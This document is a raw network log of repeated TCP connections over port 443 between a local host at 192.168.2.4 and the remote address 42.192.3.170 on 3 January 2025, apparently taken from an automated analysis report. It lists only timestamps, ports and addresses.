Jan 3, 2025 02:52:39.215404034 CET	443	49758	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:39.215439081 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.215457916 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.220172882 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.220191002 CET	443	49758	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:39.220202923 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.220397949 CET	49758	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.333578110 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.333621025 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:39.333734035 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.333986044 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:39.334001064 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:40.510943890 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:40.510998964 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:40.511707067 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:40.511717081 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:40.512857914 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:40.512862921 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:41.046519041 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:41.046571016 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:41.046587944 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.046614885 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.051680088 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.051702023 CET	443	49759	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:41.051709890 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.051745892 CET	49759	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.161752939 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.161796093 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:41.161878109 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.162127972 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:41.162143946 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:42.337455988 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:42.342806101 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:42.343189955 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:42.343199968 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:42.344584942 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:42.344590902 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:42.869386911 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:42.869430065 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:42.869442940 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:42.869467020 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:42.945560932 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:42.945578098 CET	443	49760	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:42.945586920 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:42.945617914 CET	49760	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:43.186984062 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:43.187016964 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:43.187102079 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:43.187335014 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:43.187347889 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:44.395340919 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:44.395426989 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:44.395808935 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:44.395819902 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:44.396987915 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:44.396991968 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:44.949820042 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:44.949867010 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:44.949888945 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:44.949917078 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:44.951967001 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:44.951980114 CET	443	49761	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:44.951989889 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:44.952023029 CET	49761	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:45.067898989 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:45.067936897 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:45.068106890 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:45.068310022 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:45.068325043 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.273247957 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.273307085 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.273677111 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.273684025 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.274777889 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.274784088 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.833545923 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.833590984 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.833619118 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.833642006 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.833890915 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.833905935 CET	443	49762	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.833920002 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.833952904 CET	49762	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.958694935 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.958724022 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:46.958792925 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.959060907 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:46.959070921 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.160397053 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.160470009 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.161798000 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.161804914 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.163250923 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.163254976 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.707542896 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.707587957 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.707611084 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.707634926 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.709649086 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.709660053 CET	443	49763	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.709670067 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.709703922 CET	49763	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.817955971 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.817985058 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:48.818067074 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.818252087 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:48.818264008 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.022031069 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.022092104 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.022486925 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.022495031 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.023607969 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.023612022 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.576694012 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.576745033 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.576770067 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.576793909 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.578864098 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.578877926 CET	443	49764	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.578886986 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.578923941 CET	49764	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.694839954 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.694892883 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:50.694971085 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.695183992 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:50.695200920 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:51.872652054 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:51.872721910 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:51.873044014 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:51.873054981 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:51.874129057 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:51.874134064 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:52.413777113 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:52.413840055 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:52.413918018 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:52.414163113 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:52.414186001 CET	443	49765	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:52.414195061 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:52.414236069 CET	49765	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:52.552369118 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:52.552387953 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:52.552541018 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:52.552726030 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:52.552737951 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:53.768743992 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:53.768814087 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:53.769243956 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:53.769253969 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:53.770447016 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:53.770452023 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:54.321881056 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:54.321924925 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:54.321948051 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.321975946 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.322263956 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.322283983 CET	443	49767	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:54.322292089 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.322326899 CET	49767	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.443207026 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.443238974 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:54.443339109 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.443551064 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:54.443562984 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:55.644617081 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:55.644673109 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:55.644901037 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:55.644906044 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:55.645953894 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:55.645957947 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:56.200027943 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:56.200076103 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:56.200079918 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.200154066 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.225192070 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.225198984 CET	443	49769	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:56.225207090 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.225277901 CET	49769	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.333540916 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.333568096 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:56.333657026 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.333834887 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:56.333848953 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:57.491892099 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:57.491980076 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:57.502322912 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:57.502330065 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:57.536984921 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:57.536993027 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:58.023551941 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:58.023593903 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:58.023612976 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.023638964 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.023868084 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.023885012 CET	443	49780	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:58.023906946 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.023922920 CET	49780	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.161675930 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.161683083 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:58.162813902 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.162971973 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:58.162980080 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.325669050 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.326848984 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.327280998 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.327290058 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.328422070 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.328427076 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.868460894 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.868515015 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.868556976 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.868582010 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.884495020 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.884501934 CET	443	49794	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.884510040 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.884546041 CET	49794	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.992465019 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.992477894 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:52:59.992537975 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.992887020 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:52:59.992893934 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.193919897 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.193983078 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.194370985 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.194375038 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.195504904 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.195508957 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.752448082 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.752485991 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.752552986 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.752763987 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.752768993 CET	443	49807	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.752793074 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.752813101 CET	49807	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.897702932 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.897727013 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:01.897819996 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.897969961 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:01.897981882 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.169904947 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.169984102 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.191329956 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.191334963 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.192522049 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.192526102 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.774754047 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.774794102 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.774826050 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.774848938 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.775034904 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.775043011 CET	443	49819	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.775053024 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.775088072 CET	49819	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.912065029 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.912111044 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:03.912173986 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.912446976 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:03.912462950 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.088920116 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.089066982 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.089469910 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.089476109 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.090543985 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.090549946 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.624495029 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.624536991 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.624639988 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.625087976 CET	49832	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.625102043 CET	443	49832	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.771787882 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.771812916 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:05.771884918 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.773859978 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:05.773873091 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:06.954544067 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:06.954602003 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:06.954989910 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:06.954996109 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:06.956034899 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:06.956039906 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:07.506469011 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:07.506515980 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:07.506525040 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.506553888 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.518852949 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.518872023 CET	443	49844	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:07.518878937 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.518908978 CET	49844	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.630490065 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.630517960 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:07.630588055 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.630844116 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:07.630852938 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:08.831228971 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:08.831304073 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.001554966 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.001563072 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:09.039026976 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.039052963 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:09.385751963 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:09.385802984 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:09.385828972 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.385854006 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.400285959 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.400295019 CET	443	49856	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:09.400316000 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.400332928 CET	49856	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.507165909 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.507210016 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:09.507283926 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.507447004 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:09.507460117 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:10.705930948 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:10.705986023 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:10.706326962 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:10.706331015 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:10.707573891 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:10.707578897 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:11.259687901 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:11.259730101 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:11.259845972 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.259845972 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.259947062 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.259958029 CET	443	49865	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:11.259965897 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.259998083 CET	49865	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.396143913 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.396174908 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:11.396239996 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.396397114 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:11.396410942 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:12.605550051 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:12.605614901 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:12.606136084 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:12.606142044 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:12.607219934 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:12.607224941 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:13.190356016 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:13.190397024 CET	443	49879	42.192.3.170	192.168.2.4
Jan 3, 2025 02:53:13.190434933 CET	49879	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:53:13.190458059 CET	49879	443	192.168.2.4	42.192.3.170
